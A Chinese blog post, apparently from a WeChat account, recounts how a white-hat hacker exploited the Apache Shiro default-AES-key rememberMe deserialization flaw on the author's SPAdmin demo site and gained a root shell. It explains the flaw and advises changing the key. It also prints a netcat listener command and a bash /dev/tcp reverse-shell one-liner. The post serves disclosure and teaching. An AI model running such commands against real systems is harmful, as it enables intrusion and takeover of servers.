前言

前天客客气气的发文之后,就在坐等小哥哥找上门来,没想到辣么快就来了。一开始撸主以为是上传漏洞,奈何只是自以为,直到小哥哥跟我表白,才知道是 shiro 的安全漏洞。
当时为了兼容整合 redis 插件用了低版本 shiro,然后随便从网上拷贝了一段记住密码的功能(开源版本是没有开启记住密码功能),我印象中是改了秘钥的,但只是我印象中而已,现实是被无情的脱了裤子,一丝不挂!
顺便咨询了白帽子小哥哥是通过什么方式写入的文件,具体攻击路径是用 shiro 反弹shell 到攻击者服务器上,然后写入 JSP 的 webshell,用 web 来访问。巴拉巴拉,算了还是小哥哥自己来说吧……

独白

看到撸主发的公众号文章(也就是上篇文章)说我不讲武德,搞半夜偷袭。这我不服啊,本来打算过几天等挖的漏洞审核通过拿到奖金后再找撸主来着。
既然撸主发文了只能提前找撸主聊聊了!
事情是这样的,前几天下班回家后打开电脑,想着挖点漏洞搞点钱(正规项目!!!),正在网上冲浪的我,转着转着就看到了撸主的 SPAdmin 这个项目。
嗯,感觉像是有漏洞的样子,继续往下看,嚯~还有演示站,暗自窃喜,这下不用搭建实验环境了,直接拿演示站开搞。

经过

大体一看用到的技术和环境,竟然有 Shiro,眼前一亮,马上掏出工具看看有没有 shiro 反序列化命令执行漏洞,这可是个大杀器
果不其然存在漏洞,检测到使用了默认的 AES key,并给出了几种可用的命令执行回显方法。

Shiro反序列化命令执行漏洞

Shiro 提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
当我们登录一个使用 Shiro 框架的网站并在登录处勾选【记住我】的时候,抓包可以看到从服务端返回了一个 rememberMe 的 cookie 字段
这个漏洞利用的点就在 rememberMe 中。
Shiro 在 CookieRememberMeManaer 类中将 cookie 中 rememberMe 字段内容分别进行序列化=>AES加密=>Base64编码。
在识别身份的时候,服务端需要对客户端请求中 Cookie 里的 rememberMe 字段解密。
根据加密的顺序,不难知道解密的顺序为:base64解码 => AES解密 => 反序列化。
但是在 Shiro 中,AES 加密的密钥 Key 被硬编码在代码里,意味着每个人通过源代码都能拿到 AES 加密的密钥,且一般的开发者也不会对 Shiro 提供的默认 Key 进行修改。
因此,当开发者使用默认秘钥的时候,攻击者构造一个恶意的对象,并且对其序列化=>AES加密=>base64编码后,作为 cookie 的 rememberMe 字段发送。在服务端 Shiro 将 rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
这里撸主就是大E了哈,使用了 Shiro 默认的 AES Key 且在后端开启了【记住我】的功能,导致出现了漏洞
既然这个漏洞可以导致命令执行,于是在自己 VPS 上使用 NC 执行命令ncat -lvp 9090监听服务器的9090端口(nc全称netcat,安全界叫它瑞士军刀,一听就是个强大的工具,感兴趣的朋友自己了解一下)
然后使用工具自带的反弹 shell 功能,填入自己服务器的 IP 和端口,Fire!然后自己服务器上就获取到了一个交互式的shell
whoami 看下直接 root 权限,可以为所欲为了,比如说上文撸主提到的我那个上古时期的webshell,哈哈哈哈哈!!!

什么是反弹shell

反弹 shell(reverse shell),就是控制端监听在某 TCP/UDP 端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

为什么要反弹shell

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器这是比较常规的形式,我们叫做正向连接。比如我们常用的远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
  • 某目标机器中了你的木马,但是它在局域网内,你直接连接不了。
  • 目标机器的IP动态改变,你不能持续控制。
  • 由于目标机器在防火墙后面受到网络限制,目标机器只能发送请求,不能接收请求。
所以反弹shell就很好理解了,攻击者指定服务端,让受害者主机主动连接攻击者的服务端程序,就叫反弹shell。
其实上面的漏洞利用工具执行反弹shell操作,本质上是执行了下面这条命令:
bash -i >& /dev/tcp/192.168.1.1/80800>&1
这条命令的意思就是向 192.168.1.1 这台主机的 8080 端口发送一个交互式 shell。
因为直接是root权限,也省去了提权的操作,此时按照传统功夫点到为止撸主已经输了!
这个漏洞搞完后,然后继续进到后台,看了下大体的功能又挖到几个其他的漏洞,危害也是比较高。
其他的就留到下次再写吧,说不定我还会继续搞偷袭呢哈哈哈哈哈!!!

总结

各位开发者们在使用 Shiro 框架的时候一定要对默认的 AES Key 进行修改,避免使用了默认Key导致出现漏洞。还有大家一定要长期关注 shiro 的官方更新,指不定那天又被挖出新漏洞,比如最近的权限绕过漏洞。
反序列化命令执行漏洞检测工具:后台回复【漏洞
PS:有需要网站安全检测、渗透测试服务的可以联系撸主
继续阅读
阅读原文